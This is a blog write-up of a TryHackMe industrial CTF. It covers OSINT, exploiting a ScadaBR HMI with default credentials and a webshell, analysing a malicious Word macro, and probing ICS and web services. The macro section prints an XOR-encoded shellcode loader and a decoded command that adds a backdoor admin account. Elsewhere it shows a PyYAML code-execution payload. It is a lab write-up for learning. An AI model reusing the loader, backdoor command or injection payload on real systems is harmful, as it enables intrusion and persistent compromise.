Industrial Intrusion CTF

By Nicholas Howland 7/4/2025

Last weekend I got together with a couple of friends to compete in the Industrial Intrusion capture the flag copetition hosted by Try Hack Me the room page can be found here: https://tryhackme.com/industrial-intrusion. We are all still waiting for the official results to drop, eventually Ill update this page with our rankings. I was able to complete all the OSINT challenges and one of the forensics challenges and one of the web-app challenges. I ended up not really pursuing the ICS challenges other than reading remotely exposed registers and trying to wrap my head around node red. This blog is seperated into two different sections; Completed Challenges that I was able to get the flag on and Learning Moment Challenges where an opportunity for learning new things but no flag was obtained but I learned something or had fun playing with.

Completed Challenges

OSINT 1

Objective

NullRook prowls a smart chessboard hub where automation meets strategy. In the digital workshop, subtle flaws in the robot interface threaten to tip the balance of play.

Target

virelia-water.it.com

Steps Taken

  • First I did a couple digs against the website but that only produced pointers to a github.io site
  • Then I put the domain into virustotal which showed that there was a subdomain for the main domain named stage0.virelia-water.it.com which resolves to a solstice-tech1.github.io site
  • I was able to find a user that went by the name solstice tech1 on github with two suspicious repositories which I promplty downloaded named staging panel and ot-auth-monitor.
  • The staging panel only provided the cannonical name file of the dns record and a phony device login page.
  • The ot-auth-monitor panel contained another domain name that was used to harvest credentials. 54484d7b5375357373737d.virelia-water.it.com
  • The string is actually a hex encoded string that reveals the flag: THM{REDACTED}

OSINT 2

Objective

“Great work on uncovering that suspicious subdomain, Hexline. However, your work here isn’t done yet, we believe there is more.”

Steps Taken

  • Next I decided to take a closer look at the files in the github repos.
  • Within the staging-panel-main repository the panel would pull down a javascript respository from the following link: https://raw.githubusercontent.com/SanTzu/uplink-config/refs/heads/main/init.js which included a reference to a fallback dns at uplink-fallback.virelia-water.it.com
  • the TXT entry on virus total showed a base64 encoded string eyJz...REDACTED...WR9In0= which decodes to be the flag: THM{REDACTED}

OSINT 3

Objective

After the initial breach, a single OT-Alert appeared in Virelia’s monthly digest—an otherwise unremarkable maintenance notice, mysteriously signed with PGP. Corporate auditors quietly removed the report days later, fearing it might be malicious. Your mission is to uncover more information about this mysterious signed PGP maintenance message.

Steps taken

  • First I began by searching github for a site mirror of the site hosted at https://virelia-water.it.com
  • A github user named virelia-water is hosting the site at virelia-water.it.com
  • The information in the github change log showed that there was an old web directory called /contact/.
  • One of the git commits showed the old PGP key and message which is as follows
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Please confirm system integrity at 03:00 UTC.
-----BEGIN PGP SIGNATURE-----

iQFQBAEBCgA6FiEEiN7ee3MFE71e3W2fpPD+sISjEeUFAmhZTEQcHGFsZXJ0c0B2
aXJlbGlhLXdhdGVyLml0LmNvbQAKCRCk8P6whKMR5ZIUCADM7F0WpKWWyj4WUdoL
6yrJfJfmUKgJD+8K1neFosG7yaz+MspYxIlbKUek/VFhHZnaG2NRjn6BpfPSxfEk
uvWNIP8rMVEv32vpqhCJ26pwrkAaUHlcPWqM4KYoAn4eEOeHCvxHNJBFnmWI5PBF
pXbj7s6DhyZEHUmTo4JK2OZmiISP3OsHW8O8iz5JLUrA/qw9LCjY8PK79UoceRwW
tJj9pVsE+TKPcFb/EDzqGmBH8GB1ki532/1/GDU+iivYSiRjxWks/ZYPu/bhktTo
NNcOzgEfuSekkQAz+CiclXwEcLQb219TqcS3plnaO672kCV4t5MUCLvkXL5/kHms
Sh5H
=jdL7
-----END PGP SIGNATURE-----
  • Key information can be extracted by first placing the above text into a file and using the following command which will show the RSA Key wich will be used in the next step. gpg --decrypt message.txt
  • After preforming a Key lookup using the keys rsa hash I got the flag by looking up the key signature on the keyserver.ubuntu.com where it was exposed in plain text gpg --keyserver hkps://keyserver.ubuntu.com --search-keys <key-signature>

Web-1 Brr v1

Objective

A forgotten HMI node deep in Virelia’s wastewater control loop still runs an outdated instance, forked from an old Mango M2M stack.

Steps Taken

  • Results from the initial nmap scan
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    WebSockify Python/3.12.3
5901/tcp open  vnc     VNC (protocol 3.8)
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
  • The webserver on port 8080 hosted an instance of scadabr. I was able to log in with the default credentials admin:admin.
  • I was able to use the LinScada_RCE.py which will upload a file to the scadaBR. There is no file type checking so a webshell was able to be uploaded and used to move about the system freely.
  • After uploading a reverse shell I was able to get the flag by cating the file in the user.txt file.

Forensics-1 Orcam

Objective

Dr. Ayaka Hirano loves to swim with the sharks. So when the attackers from Virelia successfully retaliated against one of our own, it was up to the good doctor to take on the case. Will Dr. Hirano be able to determine how this attack happened in the first place?

Press the Start Machine button at the top of the task to launch the VM. The VM will start in a split-screen view. If the VM is not visible, then you can press the Show Split View button at the top of the page.

Steps Taken

  • The file provided was an email file which contianed a malicious document with virus total results of: https://www.virustotal.com/gui/file/21dd0a51f66ab2c829e02bf99bc0bc8674da5994f732688102cfa6dbc626dd53
  • The document contained a vbs macro which was found by using binwalk to extract the file at vbaProject.bin located in the word directory.
  • This binary file is in a compiled binary format which requires that it be decompiled. Luckily for us there is a very kind forensics expert from SANS who published a free tool to extract vbs code from compiled macro binarys named oledump. The quick reference can be found here: https://www.sans.org/posters/oledump-py-quick-reference/ which contains a direct link to the authors self published zipped source code.
  • Once the macro was decompiled the following function was found:
 buf = Array(144, 219, 177, 116, 108, 51, 83, 253, 137, 2, 243, 16, 231, 99, 3, 255, 62, 63, 184, 38, 120, 184, 65, 92, 99, 132, 121, 82, 93, 204, 159, 72, 13, 79, 49, 88, 76, 242, 252, 121, 109, 244, 209, 134, 62, 100, 184, 38, 124, 184, 121, 72, 231, 127, 34, 12, 143, 123, 50, 165, 61, 184, 106, 84, 109, 224, 184, 61, 116, 208, 9, 61, 231, 7, 184, 117, 186, 2, 204, 216, 173, _
252, 62, 117, 171, 11, 211, 1, 154, 48, 78, 140, 87, 78, 23, 1, 136, 107, 184, 44, 72, 50, 224, 18, 231, 63, 120, 255, 52, 47, 50, 167, 231, 55, 184, 117, 188, 186, 119, 80, 72, 104, 104, 21, 53, 105, 98, 139, 140, 108, 108, 46, 231, 33, 216, 249, 49, 89, 50, 249, 233, 129, 51, 116, 108, 99, 91, 69, 231, 92, 180, 139, 185, 136, 211, 105, 70, 57, 91, 210, 249, _
142, 174, 139, 185, 15, 53, 8, 102, 179, 200, 148, 25, 54, 136, 51, 127, 65, 92, 30, 108, 96, 204, 161, 2, 86, 71, 84, 25, 64, 86, 6, 76, 82, 87, 25, 5, 93, 90, 7, 24, 65, 65, 21, 24, 92, 65, 84, 58, 118, 91, 58, 9, 3, 101, 70, 33, 100, 75, 18, 56, 102, 113, 48, 15, 89, 113, 77, 76, 28, 82, 16, 8, 19, 28, 45, 76, 21, 19, 26, 9, _
71, 19, 24, 3, 80, 82, 24, 11, 65, 92, 1, 28, 19, 82, 16, 1, 90, 93, 29, 31, 71, 65, 21, 24, 92, 65, 7, 76, 82, 87, 25, 5, 93, 90, 7, 24, 65, 65, 21, 24, 92, 65, 84, 67, 82, 87, 16, 108)

  For i = 0 To UBound(buf)

    buf(i) = buf(i) Xor Asc("l33t")

  Next i

  addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

  For counter = LBound(buf) To UBound(buf)

    data = buf(counter)
    res = RtlMoveMemory(addr + counter, data, 1)

  Next counter

  res = CreateThread(0, 0, addr, 0, 0, 0)
  • The above macro will first create a buffer array of integers which map to the range of ascii values however if decoded as their current value they will end up spitting out jibberish. Looking at the code right after the large integer array we can see that the function is xor encrypted with the string l33t and then shoved into memory and executed.
  • XOR encryption works on a shared key which is called symmetric encryption meaning that the same key that is used to encrypt the text is used to decrypt the text. Thankfully the "threat actor" here had hard coded their encryption key so we were able to decrypt the encrypted text to discover the following command that was run on the target machine would add a new local user account named administrrator and adding them to the administrator user group. net user administrrator VE<REDACTED>B9 /add /Y & net localgroup administrators administrrator /add
  • The encoded string that was used as the administrator password was decoded to be THM{REDACTED}

Learning Moment Challenges

Breach

Objective

Find the flag and open the gate by bypassing the badge authentication system. Find a weakness dig in explore and see what it takes to exploit. Check all open ports.

Steps Taken

  • began nmap scan with the following results
Discovered open port 80/tcp on <target-ip>
Discovered open port 8080/tcp on <target-ip>
Discovered open port 22/tcp on <target-ip>
Discovered open port 1880/tcp on <target-ip>
Discovered open port 502/tcp on <target-ip>
  • When visiting the website on port 80 a gate status monitor was shown
  • When probing the website on port 8080 a login portal was shown
  • When running a port scan with service detection on port 1880 a http server was found using node-red that appears to be a function diagram for the badge reader.
  • 502 is a known port for ICS and by using the modbus script from previous ICS rooms I was able to start monitoring the communication.
  • I tried setting a number of registers to see if anything happened but nothing occured.
  • I took a look at the admin pannel login and tried the default credentials for the webpage but they did not work.
  • Taking a look at the node red code, when the payload is 20 bits on one of the coils the motion detector is set to be true and this is the same with the other except the value is 25
  • The probe did not yield any visible results on the publically facing interface, however a quick searchsploit in the command line revealed two vulnerabilities in the OpenPLC web interface.
  • It looks like the proof of concept code requires valid credentials on the server.
  • The node red instance seems to be up to date as well.
  • So the my next step would have been to password spray my way to valid credentials and upload a script.

Web-2 Persistance

Objective

After the notorious malware strike on the Virelia Water Control Facility, phantom alerts and erratic sensor readings plague a system that was supposed to be fully remediated. As a Black Echo red-team specialist, you must penetrate the compromised portal, unravel its hidden persistence mechanism, and neutralise the backdoor before it can be reactivated.

Steps Taken

  • Initial NMAP scan
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy
  • Whatweb results
http://<target-ip> [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[<target-ip>], Title[Welcome to nginx!], nginx[1.24.0]
  • Explored the website and found an update configuration page at /config/update url that accepts YAML.
  • When I tried to upload a blank YAML config I get the 403 unauthorized error code as well as submitting a test string.
  • Under the logs tab the following is given:
2025-06-28T20:04:07 STARTUP CONFIG: {'SIGNATURE': 'secr3tFTW192d2390', 'PLCS': [{'id': 'PLC-101', 'ip': '192.168.10.11'}, {'id': 'PLC-102', 'ip': '192.168.10.12'}], 'SENSORS': [{'name': 'FlowRate', 'unit': 'L/s'}, {'name': 'Pressure', 'unit': 'bar'}]}
2025-06-28T20:04:07 DEBUG: loader script at /opt/hmi/update.py
2025-06-28T20:04:07 DEBUG: webapp script at /opt/hmi/app.py
  • When viewing the logs the URL included the file name http://<target-ip>:8080/logs/view?name=debug.log

  • By changing debug.log to a . and other values I got an internal sever error indicating the file was not found. This means that its possible that a file exposure vulnerability exists. I wrote a test script to help automate testing the endpoint for various exposed files it can be found here: https://github.com/ExylumTechnical/scripts-ctf/blob/main/Exploits/directory-traversal.py

  • I started trying to find the update.py and app.py file paths but file exposure was not possible.

  • Going back to the configuration file upload page and started testing uploading input. There is a known vulnerability that has to do with uploading a yaml configuration with the following test string: !!python/object/apply:os.system ["id"]

  • Upon uploading a file to the config input I was met with a "forbidden" message. On reflecting on this there was a refferer header I wonder if I would be able to change the referrer headder to specify one of the devices found in the debug log to be the destination of the configuration.

  • There are also interesting files that can be found at the uri /sensors and

{"datasets":[{"data":[12.53,13.43,16.13,12.92,16.02,16.51,16.35],"label":"FlowRate"},{"data":[1.24,1.35,1.39,1.39,1.44,1.48,1.3],"label":"Pressure"}],"labels":["20:18","20:28","20:38","20:48","20:58","21:08","21:18"]}
  • My next steps would have been to test the file upload capabilities on the machine in order to get some remote code execution.